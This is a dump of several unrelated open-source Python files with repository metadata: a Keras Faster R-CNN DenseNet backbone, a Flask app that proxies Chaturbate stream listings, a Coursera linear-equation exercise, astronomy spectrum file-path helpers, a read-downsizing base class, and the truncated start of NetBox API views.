layers.BatchNormalization( axis=bn_axis, epsilon=1.001e-5, name='bn')(x) x = layers.Activation('relu', name='relu')(x) return x def rpn(base_layers,num_anchors): x = Convolution2D(512, (3, 3), padding='same', activation='relu', kernel_initializer='normal', name='rpn_conv1')(base_layers) x_class = Convolution2D(num_anchors, (1, 1), padding="same", activation='sigmoid', kernel_initializer='uniform', name='rpn_out_class')(x) x_regr = Convolution2D(num_anchors * 4, (1, 1), activation='linear', kernel_initializer='zero', name='rpn_out_regress')(x) return [x_class, x_regr, base_layers] def classifier(base_layers, input_rois, num_rois, nb_classes = 21, trainable=False): # compile times on theano tend to be very high, so we use smaller ROI pooling regions to workaround if K.backend() == 'tensorflow': pooling_regions = 14 input_shape = (num_rois,14,14,1024) # densenet output channels are 1024.. elif K.backend() == 'theano': pooling_regions = 7 input_shape = (num_rois,4096,7,7) # from vgg version.. out_roi_pool = RoiPoolingConv(pooling_regions, num_rois)([base_layers, input_rois]) out_roi_pool = TimeDistributed(AveragePooling2D((7, 7)), name='avg_pool')(out_roi_pool) out = TimeDistributed(Flatten(name='flatten'))(out_roi_pool) out = TimeDistributed(Dense(4096, activation='relu', name='fc1'))(out) out = TimeDistributed(Dropout(0.5))(out) out = TimeDistributed(Dense(4096, activation='relu', name='fc2'))(out) out = TimeDistributed(Dropout(0.5))(out) out_class = TimeDistributed(Dense(nb_classes, activation='softmax', kernel_initializer='zero'), name='dense_class_{}'.format(nb_classes))(out) # note: no regression target for bg class out_regr = TimeDistributed(Dense(4 * (nb_classes-1), activation='linear', kernel_initializer='zero'), name='dense_regress_{}'.format(nb_classes))(out) return [out_class, out_regr]

41.477099

155

0.625104

from __future__ import absolute_import from __future__ import division from __future__ import print_function import os from keras import backend as K from keras.layers import Input, Add, Dense, Activation, Flatten, Convolution2D, MaxPooling2D, ZeroPadding2D, \ AveragePooling2D, TimeDistributed, BatchNormalization, Dropout from keras import layers from keras_frcnn.RoiPoolingConv import RoiPoolingConv def get_weight_path(): return os.path.join("pretrain", 'densenet121_weights_tf_dim_ordering_tf_kernels_notop.h5') def get_img_output_length(width, height): def get_output_length(input_length): input_length += 6 filter_sizes = [7, 3, 1, 1] stride = 2 for filter_size in filter_sizes: input_length = (input_length - filter_size + stride) // stride return input_length return get_output_length(width), get_output_length(height) BASE_WEIGTHS_PATH = ( 'https://github.com/keras-team/keras-applications/' 'releases/download/densenet/') DENSENET121_WEIGHT_PATH = ( BASE_WEIGTHS_PATH + 'densenet121_weights_tf_dim_ordering_tf_kernels.h5') DENSENET121_WEIGHT_PATH_NO_TOP = ( BASE_WEIGTHS_PATH + 'densenet121_weights_tf_dim_ordering_tf_kernels_notop.h5') DENSENET169_WEIGHT_PATH = ( BASE_WEIGTHS_PATH + 'densenet169_weights_tf_dim_ordering_tf_kernels.h5') DENSENET169_WEIGHT_PATH_NO_TOP = ( BASE_WEIGTHS_PATH + 'densenet169_weights_tf_dim_ordering_tf_kernels_notop.h5') DENSENET201_WEIGHT_PATH = ( BASE_WEIGTHS_PATH + 'densenet201_weights_tf_dim_ordering_tf_kernels.h5') DENSENET201_WEIGHT_PATH_NO_TOP = ( BASE_WEIGTHS_PATH + 'densenet201_weights_tf_dim_ordering_tf_kernels_notop.h5') def dense_block(x, blocks, name): for i in range(blocks): x = conv_block(x, 32, name=name + '_block' + str(i + 1)) return x def transition_block(x, reduction, name): bn_axis = 3 if K.image_data_format() == 'channels_last' else 1 x = layers.BatchNormalization(axis=bn_axis, epsilon=1.001e-5, name=name + '_bn')(x) x = layers.Activation('relu', name=name + '_relu')(x) x = layers.Conv2D(int(K.int_shape(x)[bn_axis] * reduction), 1, use_bias=False, name=name + '_conv')(x) x = layers.AveragePooling2D(2, strides=2, name=name + '_pool', padding='same')(x) return x def conv_block(x, growth_rate, name): bn_axis = 3 if K.image_data_format() == 'channels_last' else 1 x1 = layers.BatchNormalization(axis=bn_axis, epsilon=1.001e-5, name=name + '_0_bn')(x) x1 = layers.Activation('relu', name=name + '_0_relu')(x1) x1 = layers.Conv2D(4 * growth_rate, 1, use_bias=False, name=name + '_1_conv')(x1) x1 = layers.BatchNormalization(axis=bn_axis, epsilon=1.001e-5, name=name + '_1_bn')(x1) x1 = layers.Activation('relu', name=name + '_1_relu')(x1) x1 = layers.Conv2D(growth_rate, 3, padding='same', use_bias=False, name=name + '_2_conv')(x1) x = layers.Concatenate(axis=bn_axis, name=name + '_concat')([x, x1]) return x def nn_base(input_tensor=None, blocks=[6, 12, 24, 16], include_top=False, weights='imagenet', input_shape=None, pooling=None, classes=1000, **kwargs): if not (weights in {'imagenet', None} or os.path.exists(weights)): raise ValueError('The `weights` argument should be either ' '`None` (random initialization), `imagenet` ' '(pre-training on ImageNet), ' 'or the path to the weights file to be loaded.') if weights == 'imagenet' and include_top and classes != 1000: raise ValueError('If using `weights` as `"imagenet"` with `include_top`' ' as true, `classes` should be 1000') if K.image_dim_ordering() == 'th': input_shape = (3, None, None) else: input_shape = (None, None, 3) if input_tensor is None: img_input = Input(shape=input_shape) else: if not K.is_keras_tensor(input_tensor): img_input = Input(tensor=input_tensor, shape=input_shape) else: img_input = input_tensor if K.image_dim_ordering() == 'tf': bn_axis = 3 else: bn_axis = 1 x = ZeroPadding2D((3, 3))(img_input) x = layers.Conv2D(64, 7, strides=2, use_bias=False, name='conv1/conv')(x) x = layers.BatchNormalization( axis=bn_axis, epsilon=1.001e-5, name='conv1/bn')(x) x = layers.Activation('relu', name='conv1/relu')(x) x = layers.MaxPooling2D(3, strides=2, name='pool1')(x) x = dense_block(x, blocks[0], name='conv2') x = transition_block(x, 0.5, name='pool2') x = dense_block(x, blocks[1], name='conv3') x = transition_block(x, 0.5, name='pool3') x = dense_block(x, blocks[2], name='conv4') x = layers.BatchNormalization( axis=bn_axis, epsilon=1.001e-5, name='bn')(x) x = layers.Activation('relu', name='relu')(x) return x def rpn(base_layers,num_anchors): x = Convolution2D(512, (3, 3), padding='same', activation='relu', kernel_initializer='normal', name='rpn_conv1')(base_layers) x_class = Convolution2D(num_anchors, (1, 1), padding="same", activation='sigmoid', kernel_initializer='uniform', name='rpn_out_class')(x) x_regr = Convolution2D(num_anchors * 4, (1, 1), activation='linear', kernel_initializer='zero', name='rpn_out_regress')(x) return [x_class, x_regr, base_layers] def classifier(base_layers, input_rois, num_rois, nb_classes = 21, trainable=False): if K.backend() == 'tensorflow': pooling_regions = 14 input_shape = (num_rois,14,14,1024) elif K.backend() == 'theano': pooling_regions = 7 input_shape = (num_rois,4096,7,7) out_roi_pool = RoiPoolingConv(pooling_regions, num_rois)([base_layers, input_rois]) out_roi_pool = TimeDistributed(AveragePooling2D((7, 7)), name='avg_pool')(out_roi_pool) out = TimeDistributed(Flatten(name='flatten'))(out_roi_pool) out = TimeDistributed(Dense(4096, activation='relu', name='fc1'))(out) out = TimeDistributed(Dropout(0.5))(out) out = TimeDistributed(Dense(4096, activation='relu', name='fc2'))(out) out = TimeDistributed(Dropout(0.5))(out) out_class = TimeDistributed(Dense(nb_classes, activation='softmax', kernel_initializer='zero'), name='dense_class_{}'.format(nb_classes))(out) out_regr = TimeDistributed(Dense(4 * (nb_classes-1), activation='linear', kernel_initializer='zero'), name='dense_regress_{}'.format(nb_classes))(out) return [out_class, out_regr]

true

f7019023ce6c6a82f163a45aaf9b53f99160d360

3,618

py

Python

oneartplease.py

schlarpc/oneartplease

042ced4a57cbd8fd8ca36130ddd8650b0af282e9

[ "MIT" ]

null

oneartplease.py

schlarpc/oneartplease

042ced4a57cbd8fd8ca36130ddd8650b0af282e9

[ "MIT" ]

null

oneartplease.py

schlarpc/oneartplease

042ced4a57cbd8fd8ca36130ddd8650b0af282e9

[ "MIT" ]

null

#!/usr/bin/env python3 import gevent.monkey gevent.monkey.patch_all() import argparse import json import re import string import socket import urllib.parse import webbrowser import flask import gevent.pool import gevent.pywsgi import requests app = flask.Flask(__name__, template_folder='.') config = { 'host': '127.0.0.1', 'port': 48230, 'blur': 60, 'no_censor': False, 'no_colors': False, 'no_browser': False, 'width': 5, 'height': 3, } @app.route('/') def index(): return flask.render_template('main.html.tpl', config=config) @app.route('/users') def list_users(): page = requests.get('https://chaturbate.com/').text user_names = re.findall(r'<div class="details">\s*<div class="title">\s*<a\s*href=\s*"/(.+?)/">', page) pool = gevent.pool.Pool(10) stream_urls = pool.map(get_user_stream, user_names) users = [{'name': name, 'stream': stream} for name, stream in zip(user_names, stream_urls) if stream] return flask.Response(json.dumps(users), mimetype='application/json') def get_user_stream(user): page = requests.get('https://chaturbate.com/{}/?use_html_chat=1'.format(user)).text match = re.search('<video .*src="(.+?)"', page) if not match: return '' playlist = match.group(1).replace(' ', '%20') playlist = urllib.parse.urlparse(playlist) server_number = re.sub('[^\d]', '', playlist.netloc.split('.')[0]) return '/streams/{}{}'.format(server_number, playlist.path) @app.route('/streams/<int:server>/<path:path>') def get_stream_file(server, path): full_url = 'http://edge{}.stream.highwebmedia.com:1935/{}'.format(server, path) resp = requests.get(full_url, stream=True) content = resp.iter_content(chunk_size=2 ** 16) status_code = resp.status_code content_type = resp.headers.get('content-type', 'application/octet-stream') return flask.Response(content, status=status_code, mimetype=content_type) def get_args_config(): parser = argparse.ArgumentParser(formatter_class=argparse.ArgumentDefaultsHelpFormatter) parser.add_argument('--host', default=config['host'], help= 'The host the server will bind to. Use 0.0.0.0 for all interfaces.') parser.add_argument('--port', type=int, default=config['port'], help= 'The port the server will bind to.') parser.add_argument('--width', type=int, default=config['width'], help= 'Number of elements used from left to right.') parser.add_argument('--height', type=int, default=config['height'], help= 'Number of elements used from top to bottom.') parser.add_argument('--blur', type=int, default=config['blur'], help= 'Pixels used in the gaussian blur.') parser.add_argument('--no-censor', action='store_true', help= 'Disables gaussian blur.') parser.add_argument('--no-colors', action='store_true', help= 'Disables hue rotation.') return vars(parser.parse_args()) def make_socket(): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.bind((config['host'], config['port'])) sock.listen(5) return sock def start_wsgi_server(): sock = make_socket() server = gevent.pywsgi.WSGIServer(sock, app) server.serve_forever() if __name__ == '__main__': try: config = get_args_config() print('Listening on http://{}:{}'.format(config['host'], config['port'])) start_wsgi_server() except Exception as e: print(repr(e)) print('Press enter to exit') _ = input()

35.470588

108

0.647872

import gevent.monkey gevent.monkey.patch_all() import argparse import json import re import string import socket import urllib.parse import webbrowser import flask import gevent.pool import gevent.pywsgi import requests app = flask.Flask(__name__, template_folder='.') config = { 'host': '127.0.0.1', 'port': 48230, 'blur': 60, 'no_censor': False, 'no_colors': False, 'no_browser': False, 'width': 5, 'height': 3, } @app.route('/') def index(): return flask.render_template('main.html.tpl', config=config) @app.route('/users') def list_users(): page = requests.get('https://chaturbate.com/').text user_names = re.findall(r'<div class="details">\s*<div class="title">\s*<a\s*href=\s*"/(.+?)/">', page) pool = gevent.pool.Pool(10) stream_urls = pool.map(get_user_stream, user_names) users = [{'name': name, 'stream': stream} for name, stream in zip(user_names, stream_urls) if stream] return flask.Response(json.dumps(users), mimetype='application/json') def get_user_stream(user): page = requests.get('https://chaturbate.com/{}/?use_html_chat=1'.format(user)).text match = re.search('<video .*src="(.+?)"', page) if not match: return '' playlist = match.group(1).replace(' ', '%20') playlist = urllib.parse.urlparse(playlist) server_number = re.sub('[^\d]', '', playlist.netloc.split('.')[0]) return '/streams/{}{}'.format(server_number, playlist.path) @app.route('/streams/<int:server>/<path:path>') def get_stream_file(server, path): full_url = 'http://edge{}.stream.highwebmedia.com:1935/{}'.format(server, path) resp = requests.get(full_url, stream=True) content = resp.iter_content(chunk_size=2 ** 16) status_code = resp.status_code content_type = resp.headers.get('content-type', 'application/octet-stream') return flask.Response(content, status=status_code, mimetype=content_type) def get_args_config(): parser = argparse.ArgumentParser(formatter_class=argparse.ArgumentDefaultsHelpFormatter) parser.add_argument('--host', default=config['host'], help= 'The host the server will bind to. Use 0.0.0.0 for all interfaces.') parser.add_argument('--port', type=int, default=config['port'], help= 'The port the server will bind to.') parser.add_argument('--width', type=int, default=config['width'], help= 'Number of elements used from left to right.') parser.add_argument('--height', type=int, default=config['height'], help= 'Number of elements used from top to bottom.') parser.add_argument('--blur', type=int, default=config['blur'], help= 'Pixels used in the gaussian blur.') parser.add_argument('--no-censor', action='store_true', help= 'Disables gaussian blur.') parser.add_argument('--no-colors', action='store_true', help= 'Disables hue rotation.') return vars(parser.parse_args()) def make_socket(): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.bind((config['host'], config['port'])) sock.listen(5) return sock def start_wsgi_server(): sock = make_socket() server = gevent.pywsgi.WSGIServer(sock, app) server.serve_forever() if __name__ == '__main__': try: config = get_args_config() print('Listening on http://{}:{}'.format(config['host'], config['port'])) start_wsgi_server() except Exception as e: print(repr(e)) print('Press enter to exit') _ = input()

true

f701902720c7854f5876c62a4f31115e0d9748bc

1,100

py

Python

Coursera/Week.3/Task.13.py

v1nnyb0y/Coursera.BasePython

bbfb3184dc27a4cdb16b087123890991afbc5506

[ "MIT" ]

null

Coursera/Week.3/Task.13.py

v1nnyb0y/Coursera.BasePython

bbfb3184dc27a4cdb16b087123890991afbc5506

[ "MIT" ]

null

Coursera/Week.3/Task.13.py

v1nnyb0y/Coursera.BasePython

bbfb3184dc27a4cdb16b087123890991afbc5506

[ "MIT" ]

null

''' Система линейных уравнений - 2 ''' a = float(input()) b = float(input()) c = float(input()) d = float(input()) e = float(input()) f = float(input()) if a == 0 and b == 0 and c == 0 and d == 0 and e == 0 and f == 0: print(5) elif a * d == b * c and a * f != c * e: print(0) elif a == 0 and b == 0 and e != 0: print(0) elif c == 0 and d == 0 and f != 0: print(0) elif a == 0 and c == 0 and b * f != d * e: print(0) elif b == 0 and d == 0 and a * f != c * e: print(0) elif a * d == b * c and a * f == c * e: if b == 0 and d == 0: if a != 0 and c != 0: print(3, e / a) elif a == 0: if e == 0: print(3, f / c) elif c == 0: if f == 0: print(3, e / a) elif a == 0 and c == 0: if b != 0: print(4, e / b) elif d != 0: print(4, f / d) elif b != 0: print(1, -a / b, e / b) elif d != 0: print(1, -c / d, f / d) else: x = (e * d - b * f) / (a * d - b * c) y = (a * f - e * c) / (a * d - b * c) print(2, x, y)

24.444444

65

0.377273

a = float(input()) b = float(input()) c = float(input()) d = float(input()) e = float(input()) f = float(input()) if a == 0 and b == 0 and c == 0 and d == 0 and e == 0 and f == 0: print(5) elif a * d == b * c and a * f != c * e: print(0) elif a == 0 and b == 0 and e != 0: print(0) elif c == 0 and d == 0 and f != 0: print(0) elif a == 0 and c == 0 and b * f != d * e: print(0) elif b == 0 and d == 0 and a * f != c * e: print(0) elif a * d == b * c and a * f == c * e: if b == 0 and d == 0: if a != 0 and c != 0: print(3, e / a) elif a == 0: if e == 0: print(3, f / c) elif c == 0: if f == 0: print(3, e / a) elif a == 0 and c == 0: if b != 0: print(4, e / b) elif d != 0: print(4, f / d) elif b != 0: print(1, -a / b, e / b) elif d != 0: print(1, -c / d, f / d) else: x = (e * d - b * f) / (a * d - b * c) y = (a * f - e * c) / (a * d - b * c) print(2, x, y)

true

f701930267eb677de0ff92fb8288386877a8c15a

4,824

py

Python

bopy/spec/lamost.py

hypergravity/bopy

90cf5bf695c4ae4f53d9a9bec7cdc9ba16994267

[ "BSD-3-Clause" ]

1

2016-03-11T02:16:34.000Z

bopy/spec/lamost.py

hypergravity/bopy

90cf5bf695c4ae4f53d9a9bec7cdc9ba16994267

[ "BSD-3-Clause" ]

4

2016-01-22T14:44:47.000Z

2016-12-16T11:07:31.000Z

bopy/spec/lamost.py

hypergravity/bopy

90cf5bf695c4ae4f53d9a9bec7cdc9ba16994267

[ "BSD-3-Clause" ]

null

# -*- coding: utf-8 -*- """ Author ------ Bo Zhang Email ----- bozhang@nao.cas.cn Created on ---------- - Fri Jul 3 13:13:06 2015 read_spectrum Modifications ------------- - Fri Nov 20 10:16:59 2015 reformatting code - Sun Feb 28 14:39:16 2016 migrated to bopy.spec.lamost - Fri Jul 15 16:08:00 2016 migrate read_spectrum to read_spectrum.py Aims ---- - generate LAMOST spectra file name/path """ # from __future__ import print_function import os import numpy as np # from astropy.io import fits # from astropy.table import Table, Column def lamost_filepath(planid, mjd, spid, fiberid, dirpath="", extname=".fits"): """ generate file path of a LAMOST spectrum Parameters ---------- planid: string planid mjd: 5-digit integer mjd (use lmjd rather than mjd for DR3 and after!) spid: 2-digit integer spid, the number of the spectrogragh fiberid: 3-digit integer fiberid dirpath: string the root directory for storing spectra. Returns -------- filepath: string the path of root dir of directory (prefix). if un-specified, return file name. """ # pre-processing: strip if np.isscalar(planid): planid = planid.strip() else: planid = [_.strip() for _ in planid] if dirpath == "" or dirpath is None: # return file name if np.isscalar(mjd): # if only input one item return "spec-%05d-%s_sp%02d-%03d%s" \ % (mjd, planid, spid, fiberid, extname) else: # if input a list of items return np.array(["spec-%05d-%s_sp%02d-%03d%s" % (mjd[i], planid[i], spid[i], fiberid[i], extname) for i in range(len(mjd))]) else: # return file path if not dirpath[-1] == os.path.sep: dirpath += os.path.sep if np.isscalar(mjd): # if only input one item return "%s%s%sspec-%05d-%s_sp%02d-%03d%s" \ % (dirpath, planid, os.path.sep, mjd, planid, spid, fiberid, extname) else: # if input a list of items return np.array(["%s%s%sspec-%05d-%s_sp%02d-%03d%s" % (dirpath, planid[i], os.path.sep, mjd[i], planid[i], spid[i], fiberid[i], extname) for i in range(len(mjd))]) def _test_lamost_filepath(): """test function **lamost_filepath** """ print(lamost_filepath("GAC_061N46_V3", 55939, 7, 78)) print(lamost_filepath("GAC_061N46_V3", 55939, 7, 78, "/")) print(lamost_filepath("GAC_061N46_V3", 55939, 7, 78, "/pool")) print(lamost_filepath("GAC_061N46_V3", 55939, 7, 78, "/pool/")) def sdss_filepath(plate, mjd, fiberid, dirpath="", extname=".fits"): """ generate file path of a LAMOST spectrum Parameters ---------- plate: string plate mjd: 5-digit integer mjd (use lmjd rather than mjd for DR3 and after!) fiberid: 4-digit integer fiberid dirpath: string the root directory for storing spectra. extname: string in case that users want to synthesize other data format Returns -------- filepath: string the path of root dir of directory (prefix). if un-specified, return file name. """ if dirpath == "" or dirpath is None: # return file name if np.isscalar(mjd): # if only input one item return "spec-%04d-%05d-%04d%s" % (plate, mjd, fiberid, extname) else: # if input a list of items return np.array(["spec-%04d-%05d-%04d%s" % (plate[i], mjd[i], fiberid[i], extname) for i in range(len(mjd))]) else: # return file path if not dirpath[-1] == os.path.sep: dirpath += os.path.sep if np.isscalar(mjd): # if only input one item return "%s%04d%sspec-%04d-%05d-%04d%s" \ % (dirpath, plate, os.path.sep, plate, mjd, fiberid, extname) else: # if input a list of items return np.array(["%s%04d%sspec-%04d-%05d-%04d%s" % (dirpath, plate[i], os.path.sep, plate[i], mjd[i], fiberid[i], extname) for i in range(len(mjd))]) def _test_sdss_filepath(): print(sdss_filepath(2238, 52059, 1, "/")) if __name__ == "__main__": print("") print("@Cham: start to test the module ...") print("") print("@Cham: testing ""lamost_filepath"" ...") _test_lamost_filepath() _test_sdss_filepath() print("@Cham: OK")

27.409091

78

0.541459

import os import numpy as np def lamost_filepath(planid, mjd, spid, fiberid, dirpath="", extname=".fits"): if np.isscalar(planid): planid = planid.strip() else: planid = [_.strip() for _ in planid] if dirpath == "" or dirpath is None: if np.isscalar(mjd): return "spec-%05d-%s_sp%02d-%03d%s" \ % (mjd, planid, spid, fiberid, extname) else: return np.array(["spec-%05d-%s_sp%02d-%03d%s" % (mjd[i], planid[i], spid[i], fiberid[i], extname) for i in range(len(mjd))]) else: if not dirpath[-1] == os.path.sep: dirpath += os.path.sep if np.isscalar(mjd): return "%s%s%sspec-%05d-%s_sp%02d-%03d%s" \ % (dirpath, planid, os.path.sep, mjd, planid, spid, fiberid, extname) else: return np.array(["%s%s%sspec-%05d-%s_sp%02d-%03d%s" % (dirpath, planid[i], os.path.sep, mjd[i], planid[i], spid[i], fiberid[i], extname) for i in range(len(mjd))]) def _test_lamost_filepath(): print(lamost_filepath("GAC_061N46_V3", 55939, 7, 78)) print(lamost_filepath("GAC_061N46_V3", 55939, 7, 78, "/")) print(lamost_filepath("GAC_061N46_V3", 55939, 7, 78, "/pool")) print(lamost_filepath("GAC_061N46_V3", 55939, 7, 78, "/pool/")) def sdss_filepath(plate, mjd, fiberid, dirpath="", extname=".fits"): if dirpath == "" or dirpath is None: if np.isscalar(mjd): return "spec-%04d-%05d-%04d%s" % (plate, mjd, fiberid, extname) else: return np.array(["spec-%04d-%05d-%04d%s" % (plate[i], mjd[i], fiberid[i], extname) for i in range(len(mjd))]) else: if not dirpath[-1] == os.path.sep: dirpath += os.path.sep if np.isscalar(mjd): return "%s%04d%sspec-%04d-%05d-%04d%s" \ % (dirpath, plate, os.path.sep, plate, mjd, fiberid, extname) else: return np.array(["%s%04d%sspec-%04d-%05d-%04d%s" % (dirpath, plate[i], os.path.sep, plate[i], mjd[i], fiberid[i], extname) for i in range(len(mjd))]) def _test_sdss_filepath(): print(sdss_filepath(2238, 52059, 1, "/")) if __name__ == "__main__": print("") print("@Cham: start to test the module ...") print("") print("@Cham: testing ""lamost_filepath"" ...") _test_lamost_filepath() _test_sdss_filepath() print("@Cham: OK")

true

f70193699f0c4868dccc5ae5430f654b94ba4982

1,760

py

Python

moonstone/normalization/reads/base.py

motleystate/moonstone

37c38fabf361722f7002626ef13c68c443ace4ac

[ "MIT" ]

null

moonstone/normalization/reads/base.py

motleystate/moonstone

37c38fabf361722f7002626ef13c68c443ace4ac

[ "MIT" ]

84

2020-07-27T13:01:12.000Z

2022-03-16T17:10:23.000Z

moonstone/normalization/reads/base.py

motleystate/moonstone

37c38fabf361722f7002626ef13c68c443ace4ac

[ "MIT" ]

null

class BaseDownsizing: def __init__(self, raw_file_f, raw_file_r=None): self.raw_file_f = raw_file_f self.raw_file_f = raw_file_f self._downsized_f = None if raw_file_r: self.raw_file_r = raw_file_r self.raw_file_r = raw_file_r self._downsized_r = None def downsize_single(self): """Overridden in child classes to perform specified downsizing of fragment reads""" return self.raw_file_f def downsize_pair_uncompressed(self): """Overridden in child classes to perform specified downsizing of paired-ends reads""" return self.raw_file_f, self.raw_file_r def downsize_pair_gzip(self): """Overridden in child classes to perform specified downsizing of gzip compressed paired-ends reads""" return self.raw_file_f, self.raw_file_r @property def downsized_pair_uncompressed(self): if getattr(self, "._downsized_f", None) is None: self._downsized_f, self_downsized_r = self.downsize_pair() self.raw_file_f = self._downsized_f self.raw_file_r = self._downsized_r return self._downsized_f, self._downsized_r @property def downsized_pair_gzip(self): if getattr(self, "._downsized_f", None) is None: self._downsized_f, self_downsized_r = self.downsize_pair() self.raw_file_f = self._downsized_f self.raw_file_r = self._downsized_r return self._downsized_f, self._downsized_r @property def downsized_single(self): if getattr(self, "._downsized_f", None) is None: self._downsized_f = self.downsize_single() self.raw_file_f = self._downsized_f return self._downsized_f

38.26087

110

0.673864

class BaseDownsizing: def __init__(self, raw_file_f, raw_file_r=None): self.raw_file_f = raw_file_f self.raw_file_f = raw_file_f self._downsized_f = None if raw_file_r: self.raw_file_r = raw_file_r self.raw_file_r = raw_file_r self._downsized_r = None def downsize_single(self): return self.raw_file_f def downsize_pair_uncompressed(self): return self.raw_file_f, self.raw_file_r def downsize_pair_gzip(self): return self.raw_file_f, self.raw_file_r @property def downsized_pair_uncompressed(self): if getattr(self, "._downsized_f", None) is None: self._downsized_f, self_downsized_r = self.downsize_pair() self.raw_file_f = self._downsized_f self.raw_file_r = self._downsized_r return self._downsized_f, self._downsized_r @property def downsized_pair_gzip(self): if getattr(self, "._downsized_f", None) is None: self._downsized_f, self_downsized_r = self.downsize_pair() self.raw_file_f = self._downsized_f self.raw_file_r = self._downsized_r return self._downsized_f, self._downsized_r @property def downsized_single(self): if getattr(self, "._downsized_f", None) is None: self._downsized_f = self.downsize_single() self.raw_file_f = self._downsized_f return self._downsized_f

true

f701939035f7fb6a21d19379da73cb9e2f9f3826

23,293

py

Python

netbox/dcim/api/views.py

aslafy-z/netbox

a5512dd4c46c005df8752fc330c1382ac22b31ea

[ "Apache-2.0" ]

null

netbox/dcim/api/views.py

aslafy-z/netbox

a5512dd4c46c005df8752fc330c1382ac22b31ea

[ "Apache-2.0" ]

null

netbox/dcim/api/views.py

aslafy-z/netbox

a5512dd4c46c005df8752fc330c1382ac22b31ea

[ "Apache-2.0" ]

null

from collections import OrderedDict from django.conf import settings from django.db.models import Count, F from django.http import HttpResponseForbidden, HttpResponse from django.shortcuts import get_object_or_404 from drf_yasg import openapi from drf_yasg.openapi import Parameter from drf_yasg.utils import swagger_auto_schema from rest_framework.decorators import action from rest_framework.mixins import ListModelMixin from rest_framework.response import Response from rest_framework.viewsets import GenericViewSet, ViewSet from circuits.models import Circuit from dcim import filters from dcim.models import ( Cable, ConsolePort, ConsolePortTemplate, ConsoleServerPort, ConsoleServerPortTemplate, Device, DeviceBay, DeviceBayTemplate, DeviceRole, DeviceType, FrontPort, FrontPortTemplate, Interface, InterfaceTemplate, Manufacturer, InventoryItem, Platform, PowerFeed, PowerOutlet, PowerOutletTemplate, PowerPanel, PowerPort, PowerPortTemplate, Rack, RackGroup, RackReservation, RackRole, RearPort, RearPortTemplate, Region, Site, VirtualChassis, ) from extras.api.serializers import RenderedGraphSerializer from extras.api.views import CustomFieldModelViewSet from extras.models import Graph from ipam.models import Prefix, VLAN from utilities.api import ( get_serializer_for_model, IsAuthenticatedOrLoginNotRequired, ModelViewSet, ServiceUnavailable, ) from utilities.utils import get_subquery from virtualization.models import VirtualMachine from . import serializers from .exceptions import MissingFilterException # Mixins class CableTraceMixin(object): @action(detail=True, url_path='trace') def trace(self, request, pk): """ Trace a complete cable path and return each segment as a three-tuple of (termination, cable, termination). """ obj = get_object_or_404(self.queryset.model, pk=pk) # Initialize the path array path = [] for near_end, cable, far_end in obj.trace()[0]: # Serialize each object serializer_a = get_serializer_for_model(near_end, prefix='Nested') x = serializer_a(near_end, context={'request': request}).data if cable is not None: y = serializers.TracedCableSerializer(cable, context={'request': request}).data else: y = None if far_end is not None: serializer_b = get_serializer_for_model(far_end, prefix='Nested') z = serializer_b(far_end, context={'request': request}).data else: z = None path.append((x, y, z)) return Response(path) # # Regions # class RegionViewSet(ModelViewSet): queryset = Region.objects.annotate( site_count=Count('sites') ) serializer_class = serializers.RegionSerializer filterset_class = filters.RegionFilterSet # # Sites # class SiteViewSet(CustomFieldModelViewSet): queryset = Site.objects.prefetch_related( 'region', 'tenant', 'tags' ).annotate( device_count=get_subquery(Device, 'site'), rack_count=get_subquery(Rack, 'site'), prefix_count=get_subquery(Prefix, 'site'), vlan_count=get_subquery(VLAN, 'site'), circuit_count=get_subquery(Circuit, 'terminations__site'), virtualmachine_count=get_subquery(VirtualMachine, 'cluster__site'), ) serializer_class = serializers.SiteSerializer filterset_class = filters.SiteFilterSet @action(detail=True) def graphs(self, request, pk): """ A convenience method for rendering graphs for a particular site. """ site = get_object_or_404(Site, pk=pk) queryset = Graph.objects.filter(type__model='site') serializer = RenderedGraphSerializer(queryset, many=True, context={'graphed_object': site}) return Response(serializer.data) # # Rack groups # class RackGroupViewSet(ModelViewSet): queryset = RackGroup.objects.prefetch_related('site').annotate( rack_count=Count('racks') ) serializer_class = serializers.RackGroupSerializer filterset_class = filters.RackGroupFilterSet # # Rack roles # class RackRoleViewSet(ModelViewSet): queryset = RackRole.objects.annotate( rack_count=Count('racks') ) serializer_class = serializers.RackRoleSerializer filterset_class = filters.RackRoleFilterSet # # Racks # class RackViewSet(CustomFieldModelViewSet): queryset = Rack.objects.prefetch_related( 'site', 'group__site', 'role', 'tenant', 'tags' ).annotate( device_count=get_subquery(Device, 'rack'), powerfeed_count=get_subquery(PowerFeed, 'rack') ) serializer_class = serializers.RackSerializer filterset_class = filters.RackFilterSet @swagger_auto_schema( responses={200: serializers.RackUnitSerializer(many=True)}, query_serializer=serializers.RackElevationDetailFilterSerializer ) @action(detail=True) def elevation(self, request, pk=None): """ Rack elevation representing the list of rack units. Also supports rendering the elevation as an SVG. """ rack = get_object_or_404(Rack, pk=pk) serializer = serializers.RackElevationDetailFilterSerializer(data=request.GET) if not serializer.is_valid(): return Response(serializer.errors, 400) data = serializer.validated_data if data['render'] == 'svg': # Render and return the elevation as an SVG drawing with the correct content type drawing = rack.get_elevation_svg( face=data['face'], unit_width=data['unit_width'], unit_height=data['unit_height'], legend_width=data['legend_width'], include_images=data['include_images'], base_url=request.build_absolute_uri('/') ) return HttpResponse(drawing.tostring(), content_type='image/svg+xml') else: # Return a JSON representation of the rack units in the elevation elevation = rack.get_rack_units( face=data['face'], exclude=data['exclude'], expand_devices=data['expand_devices'] ) # Enable filtering rack units by ID q = data['q'] if q: elevation = [u for u in elevation if q in str(u['id']) or q in str(u['name'])] page = self.paginate_queryset(elevation) if page is not None: rack_units = serializers.RackUnitSerializer(page, many=True, context={'request': request}) return self.get_paginated_response(rack_units.data) # # Rack reservations # class RackReservationViewSet(ModelViewSet): queryset = RackReservation.objects.prefetch_related('rack', 'user', 'tenant') serializer_class = serializers.RackReservationSerializer filterset_class = filters.RackReservationFilterSet # Assign user from request def perform_create(self, serializer): serializer.save(user=self.request.user) # # Manufacturers # class ManufacturerViewSet(ModelViewSet): queryset = Manufacturer.objects.annotate( devicetype_count=get_subquery(DeviceType, 'manufacturer'), inventoryitem_count=get_subquery(InventoryItem, 'manufacturer'), platform_count=get_subquery(Platform, 'manufacturer') ) serializer_class = serializers.ManufacturerSerializer filterset_class = filters.ManufacturerFilterSet # # Device types # class DeviceTypeViewSet(CustomFieldModelViewSet): queryset = DeviceType.objects.prefetch_related('manufacturer').prefetch_related('tags').annotate( device_count=Count('instances') ) serializer_class = serializers.DeviceTypeSerializer filterset_class = filters.DeviceTypeFilterSet # # Device type components # class 